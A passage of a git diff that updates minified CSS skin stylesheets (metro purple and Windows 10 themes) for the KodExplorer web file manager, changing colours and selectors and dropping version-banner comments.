.aui-buttons button.aui-state-highlight:hover{background:#e064b7;}body .aui-outer .aui-buttons button.aui-state-highlight:active{background:#e98fcb;}body .aui-outer .aui-min:hover,body .aui-outer .aui-max:hover{background:#e47ac1;}body .aui-outer .aui-min:active,body .aui-outer .aui-max:active{background:#e98fcb;}body div.dialog-simple .aui-title{border-radius:0;}body .select-container{border:1px solid #7a1859;background-color:#DC4FAD;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children-open i.font-icon{color:#fff;}body .frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-radius:0;}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{color:#3ec3ff !important;}body .file-select{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file-select .children-open i.font-icon{color:#fff;}body .file-hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.file2{background:none;}body div.file-continer.file-list-split .file.select-split-parent{background:#e3f0ff;}body div.file-continer.file-list-split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent .children-open i.font-icon{color:#fff;}body div.file-continer .file.file2{background:#fff8e8;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.hover.select .children-open i.font-icon,body div.file-continer .file.hover.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.select.file2,body div.file-continer .file.file-select-drag-temp.file2{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select.file2 .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp.file2 .children-open i.font-icon{color:#fff;}body div.file-continer.file-list-split .file.select,body div.file-continer.file-list-split .file.file-select-drag-temp,body div.file-continer.file-list-list .file.select,body div.file-continer.file-list-list .file.file-select-drag-temp{border-bottom:1px solid #e064b7 !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#d83aa3;}body #body .menu-left,body #body .app-menu-left{background:#d83aa3;}body #body .menu-left h1,body #body .app-menu-left h1{color:#fff;font-weight:400;}body #body .menu-left .setting a,body #body .app-menu-left .setting a{color:#fff;}body #body .menu-left .setting a:hover,body #body .app-menu-left .setting a:hover{background:#df5cb3;}body #body .menu-left .setting a.selected,body #body .app-menu-left .setting a.selected{background:#e064b7;border-color:#fff;color:#fff;}body #body .menu-left .line,body #body .app-menu-left .line{color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);}body #body .main .list{border-radius:0;}body #body .main .nav{border-color:#DC4FAD;}body #body .main .nav a:hover{background:#ddd;color:#DC4FAD;}body #body .main .nav a.this,body #body .main .nav a.this:hover{background:#DC4FAD;}body .edit-tab .tabs{border-bottom:1px solid #ddd;}body .edit-tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit-tab .tabs .tab.hover{background:#eee;}body .edit-tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit-tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit-tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit-tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit-tab .tabs .edit-changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit-tab .tabs .tab.this.edit-changed a.close{color:#fff;}body .edit-tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} \ No newline at end of file diff --git a/static/style/skin/metro_purple.css b/static/style/skin/metro_purple.css index 5a156f5..eafdca4 100755 --- a/static/style/skin/metro_purple.css +++ b/static/style/skin/metro_purple.css @@ -1,3 +1 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368389.849] */ -body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#8D3CC4;color:#fff;}body#page-desktop .topbar{background-color:rgba(141,60,196,0.5);}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(141,60,196,0.3);}body .topbar{background:#8D3CC4;}body .topbar .content .topbar-menu{border-color:#9850ca;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this,body .topbar .content .top-right ul a.this{background:#9850ca;border-color:#9850ca;}body .aui-outer{border:0px solid #ccc;*border:1px solid #9448c8;border:1px solid #9448c8 \0/IE9;}body .aui-outer .aui-state-focus .aui-title,body .aui-outer .aui-title{background:#8D3CC4;}body .aui-outer .aui-buttons button.aui-state-highlight{background:#8D3CC4;}body .aui-outer .aui-buttons button.aui-state-highlight:hover{background:#9850ca;}body .aui-outer .aui-buttons button.aui-state-highlight:active{background:#af77d6;}body .aui-outer .aui-min:hover,body .aui-outer .aui-max:hover{background:#a463d0;}body .aui-outer .aui-min:active,body .aui-outer .aui-max:active{background:#af77d6;}body div.dialog-simple .aui-title{border-radius:0;}body .select-container{border:1px solid #39184f;background-color:#8D3CC4;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children-open i.font-icon{color:#fff;}body .frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-radius:0;}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{color:#3ec3ff !important;}body .file-select{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file-select .children-open i.font-icon{color:#fff;}body .file-hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.file2{background:none;}body div.file-continer.file-list-split .file.select-split-parent{background:#e3f0ff;}body div.file-continer.file-list-split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent .children-open i.font-icon{color:#fff;}body div.file-continer .file.file2{background:#fff8e8;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.hover.select .children-open i.font-icon,body div.file-continer .file.hover.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.select.file2,body div.file-continer .file.file-select-drag-temp.file2{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select.file2 .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp.file2 .children-open i.font-icon{color:#fff;}body div.file-continer.file-list-split .file.select,body div.file-continer.file-list-split .file.file-select-drag-temp,body div.file-continer.file-list-list .file.select,body div.file-continer.file-list-list .file.file-select-drag-temp{border-bottom:1px solid #9850ca !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#7f36b1;}body #body .menu-left,body #body .app-menu-left{background:#7f36b1;}body #body .menu-left h1,body #body .app-menu-left h1{color:#fff;font-weight:400;}body #body .menu-left .setting a,body #body .app-menu-left .setting a{color:#fff;}body #body .menu-left .setting a:hover,body #body .app-menu-left .setting a:hover{background:#9448c8;}body #body .menu-left .setting a.selected,body #body .app-menu-left .setting a.selected{background:#9850ca;border-color:#fff;color:#fff;}body #body .menu-left .line,body #body .app-menu-left .line{color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);}body #body .main .list{border-radius:0;}body #body .main .nav{border-color:#8D3CC4;}body #body .main .nav a:hover{background:#ddd;color:#8D3CC4;}body #body .main .nav a.this,body #body .main .nav a.this:hover{background:#8D3CC4;}body .edit-tab .tabs{border-bottom:1px solid #ddd;}body .edit-tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit-tab .tabs .tab.hover{background:#eee;}body .edit-tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit-tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit-tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit-tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit-tab .tabs .edit-changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit-tab .tabs .tab.this.edit-changed a.close{color:#fff;}body .edit-tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 4.25(2017-12-04) [build 1512368389.849] */ \ No newline at end of file +body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn,body .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#8D3CC4;color:#fff;}body#page-desktop .topbar{background-color:rgba(141,60,196,0.5);}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(141,60,196,0.3);}body .topbar{background:#8D3CC4;}body .topbar .content .topbar-menu{border-color:#9850ca;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this,body .topbar .content .top-right ul a.this{background:#9850ca;border-color:#9850ca;}body .aui-outer{border:0px solid #ccc;*border:1px solid #9448c8;border:1px solid #9448c8 \0/IE9;}body .aui-outer .aui-state-focus .aui-title,body .aui-outer .aui-title{background:#8D3CC4;}body .aui-outer .aui-buttons button.aui-state-highlight{background:#8D3CC4;}body .aui-outer .aui-buttons button.aui-state-highlight:hover{background:#9850ca;}body .aui-outer .aui-buttons button.aui-state-highlight:active{background:#af77d6;}body .aui-outer .aui-min:hover,body .aui-outer .aui-max:hover{background:#a463d0;}body .aui-outer .aui-min:active,body .aui-outer .aui-max:active{background:#af77d6;}body div.dialog-simple .aui-title{border-radius:0;}body .select-container{border:1px solid #39184f;background-color:#8D3CC4;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children-open i.font-icon{color:#fff;}body .frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-radius:0;}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{color:#3ec3ff !important;}body .file-select{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file-select .children-open i.font-icon{color:#fff;}body .file-hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.file2{background:none;}body div.file-continer.file-list-split .file.select-split-parent{background:#e3f0ff;}body div.file-continer.file-list-split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent .children-open i.font-icon{color:#fff;}body div.file-continer .file.file2{background:#fff8e8;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.hover.select .children-open i.font-icon,body div.file-continer .file.hover.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.select.file2,body div.file-continer .file.file-select-drag-temp.file2{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select.file2 .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp.file2 .children-open i.font-icon{color:#fff;}body div.file-continer.file-list-split .file.select,body div.file-continer.file-list-split .file.file-select-drag-temp,body div.file-continer.file-list-list .file.select,body div.file-continer.file-list-list .file.file-select-drag-temp{border-bottom:1px solid #9850ca !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#7f36b1;}body #body .menu-left,body #body .app-menu-left{background:#7f36b1;}body #body .menu-left h1,body #body .app-menu-left h1{color:#fff;font-weight:400;}body #body .menu-left .setting a,body #body .app-menu-left .setting a{color:#fff;}body #body .menu-left .setting a:hover,body #body .app-menu-left .setting a:hover{background:#9448c8;}body #body .menu-left .setting a.selected,body #body .app-menu-left .setting a.selected{background:#9850ca;border-color:#fff;color:#fff;}body #body .menu-left .line,body #body .app-menu-left .line{color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);}body #body .main .list{border-radius:0;}body #body .main .nav{border-color:#8D3CC4;}body #body .main .nav a:hover{background:#ddd;color:#8D3CC4;}body #body .main .nav a.this,body #body .main .nav a.this:hover{background:#8D3CC4;}body .edit-tab .tabs{border-bottom:1px solid #ddd;}body .edit-tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit-tab .tabs .tab.hover{background:#eee;}body .edit-tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit-tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit-tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit-tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit-tab .tabs .edit-changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit-tab .tabs .tab.this.edit-changed a.close{color:#fff;}body .edit-tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} \ No newline at end of file diff --git a/static/style/skin/win10.css b/static/style/skin/win10.css index 4d16f50..c5878a6 100755 --- a/static/style/skin/win10.css +++ b/static/style/skin/win10.css @@ -1,3 +1 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368389.7205] */ -body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .x-folder{background-image:url("../../images/file_icon/icon_others/folder_win10.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10.png',sizingMethod='scale');}body .x-folder.small{background-image:url("../../images/file_icon/icon_others/folder_win10_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10_small.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10_small.png',sizingMethod='scale');height:18px !important;width:18px !important;}body .btn,body .btn-group>.btn,body .btn-group-sm>.btn{border-radius:0px;background-image:none;}body .btn.btn-default,body .btn-group>.btn.btn-default,body .btn-group-sm>.btn.btn-default{border-color:#ddd;}body .btn.btn-default:focus,body .btn.btn-default:hover,body .btn-group>.btn.btn-default:focus,body .btn-group>.btn.btn-default:hover,body .btn-group-sm>.btn.btn-default:focus,body .btn-group-sm>.btn.btn-default:hover{background-color:#e4f8ff;border-color:#aedaff;}body .btn.btn-default:active,body .btn.btn-default.active,body .btn-group>.btn.btn-default:active,body .btn-group>.btn.btn-default.active,body .btn-group-sm>.btn.btn-default:active,body .btn-group-sm>.btn.btn-default.active{color:#365f80;background-color:#e4f8ff;border-color:#93cfff;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#eee;color:#444;}body .topbar{background:#fff;}body .topbar .content{border-bottom:1px solid #eee;}body .topbar .content .topbar-menu{border-color:#eee;color:#666;}body .topbar .content .share-title,body .topbar .content .share-info,body .topbar .content .share-info .time{color:#666;}body .topbar .content .top-right div.share-info-user{color:#666;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this,body .topbar .content .top-right ul a.this{background:#eee;border-color:#eee;color:#666;}body .aui-outer{box-shadow:0px 5px 10px rgba(0,0,0,0.2);border:1px solid #bbb;border-color:rgba(0,0,0,0.2);}body .aui-outer .aui-title{background:#fff;color:#666;border-bottom:1px solid #f1f1f1;border-bottom:none;}body .aui-outer .aui-buttons{border-top:solid 1px #eee;background:#f8f8f8;}body .aui-outer .aui-buttons button{padding:1px 1.5em;border:1px solid #ccc;color:#222;background:#eee;}body .aui-outer .aui-buttons button:hover{background:#fbfbfb;}body .aui-outer .aui-buttons button:active{background:#e1e1e1;}body .aui-outer .aui-buttons button.aui-state-highlight{border-color:#96c7ff;box-shadow:0 0 2px #96c7ff;}body .aui-outer .aui-buttons button.aui-state-highlight:hover{color:#111;}body .aui-outer .aui-buttons button.aui-state-highlight:active{color:#111;}body .aui-outer .aui-min{right:80px;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAEUlEQVQYV2NgGGbgP5F40AMAIN0J96UZJscAAAAASUVORK5CYII=");}body .aui-outer .aui-max{right:40px;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAGElEQVQYlWNgYGD4TySGEATAqELiFBLEAISgI91xKgmgAAAAAElFTkSuQmCC");}body .aui-outer .aui-close{right:0px;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAOUlEQVQYlWNgYGD4D8TGDLiBMVQNgzErOwcuxRhy2BTjNABZAp8tCMWEFBGtkCirifIM0cFDVIADAOrvG43QTSHZAAAAAElFTkSuQmCC");}body .aui-outer .aui-min,body .aui-outer .aui-max,body .aui-outer .aui-close{color:#888;background-position:center center;background-color:transparent;background-repeat:no-repeat;height:31px;width:40px;line-height:31px;-webkit-transition:background 0.2s;-moz-transition:background 0.2s;-o-transition:background 0.2s;-ms-transition:background 0.2s;transition:background 0.2s;}body .aui-outer .aui-min:before,body .aui-outer .aui-max:before,body .aui-outer .aui-close:before{content:"";}body .aui-outer .aui-min:hover,body .aui-outer .aui-min:active,body .aui-outer .aui-max:hover,body .aui-outer .aui-max:active,body .aui-outer .aui-close:hover,body .aui-outer .aui-close:active{color:#333;background-color:#ddd;}body .aui-outer .aui-close:hover{background-color:#e81123;color:#fff;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAOklEQVQYV2P4/+//+f/fv6cw4AAgOZAaCAMEsCjGkMOmGKcByBL4bEFVjE8R0QqJspoozxAdPMQGOABXELkNcbMs5wAAAABJRU5ErkJggg==");}body .aui-state-focus .aui-outer{box-shadow:0px 0px 20px rgba(0,140,255,0.46);border:1px solid #71b9f3;}body .dialog-copyright.dialog-simple .aui-close,body .share-dialog.dialog-simple .aui-close,body .check-version-dialog.dialog-simple .aui-close{opacity:0.6;background:rgba(0,0,0,0.4);}body .dialog-copyright.dialog-simple .aui-close:before,body .share-dialog.dialog-simple .aui-close:before,body .check-version-dialog.dialog-simple .aui-close:before{content:"\f00d";background-image:none;}body .dialog-copyright.dialog-simple .aui-close:hover,body .share-dialog.dialog-simple .aui-close:hover,body .check-version-dialog.dialog-simple .aui-close:hover{background-image:none;}body div.dialog-simple .aui-title{border-radius:0;}body div.dialog-simple .aui-min,body div.dialog-simple .aui-max,body div.dialog-simple .aui-close{background-color:rgba(255,255,255,0.8);border-radius:0;}body div.dialog-simple .aui-min:hover,body div.dialog-simple .aui-min:active,body div.dialog-simple .aui-max:hover,body div.dialog-simple .aui-max:active,body div.dialog-simple .aui-close:hover,body div.dialog-simple .aui-close:active{background-color:rgba(255,255,255,0.95);}body div.dialog-simple .aui-close{right:4px;}body div.dialog-simple .aui-close:hover,body div.dialog-simple .aui-close:active{background-color:#e81123;}body .do-search-box .search-desc{border-radius:0;background:#fefefe;border-bottom-color:#eee;}body .do-search-box .search-result{border-radius:0;}body .select-container{border:1px solid #195694;background-color:#62a2e4;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fff;border-right:1px solid #eee;}body .frame-main .frame-left .ztree li a{margin:0 2px;border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body .frame-main .frame-left .ztree li a.curSelectedNode .button.switch:after,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .button.switch:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .button.switch:after{color:inherit !important;}body .frame-main .frame-left .ztree li a span.button.switch:after{content:"\f105";font-size:16px;}body .frame-main .frame-left .ztree li a span.button.switch.noline_open:after,body .frame-main .frame-left .ztree li a span.button.switch.noline_open_hover:after{content:"\f107";font-weight:800;color:#76bdf7;}body .frame-main .frame-left .ztree li a span.button.switch.noline_docu:after{content:"";opacity:0;filter:alpha(opacity=0);}body .file-select{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body .file-hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body div.file-continer.file-list-split .file.file2{background:none;}body div.file-continer.file-list-split .file.select-split-parent{background:#e3f0ff;}body div.file-continer.file-list-split .file.hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body div.file-continer .file{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;}body div.file-continer .file.file2{background:#fffbf1;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body div.file-continer .file.hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body div.file-continer .file.select.file2,body div.file-continer .file.file-select-drag-temp.file2{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body div.file-continer.file-list-split .file,body div.file-continer.file-list-list .file{margin-bottom:1px;}body #main-title .filename:hover,body #main-title .filesize:hover,body #main-title .filetype:hover,body #main-title .filetime:hover,body #main-title .this{background:#e5f3ff;}body .context-menu-list{box-shadow:4px 5px 10px rgba(0,0,0,0.2);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#e1e1e1;color:#444;}body .context-menu-list .context-menu-item.hover .font-icon,body .context-menu-list .context-menu-item.selected.hover .font-icon{color:#888;}body .context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#888;}body .context-menu-list .hover > span > b{color:#888;}body #body .menu-left,body #body .app-menu-left{background:#fff;border-right:1px solid #f1f1f1;}body #body .menu-left h1,body #body .app-menu-left h1{font-weight:400;}body #body .menu-left .setting a:hover,body #body .app-menu-left .setting a:hover{background:#e6e6e6;}body #body .menu-left .setting a.selected,body #body .app-menu-left .setting a.selected{background:#e1e1e1;border-color:#ccc;}body #body .main .list{border-radius:0;}body #body .panel{margin-left:-1px;}body .frame-main .frame-right .frame-right-main .tools{border-color:#eee;}body .frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-radius:0;}body .task-tab{background:rgba(0,0,0,0.05);border-top:1px solid 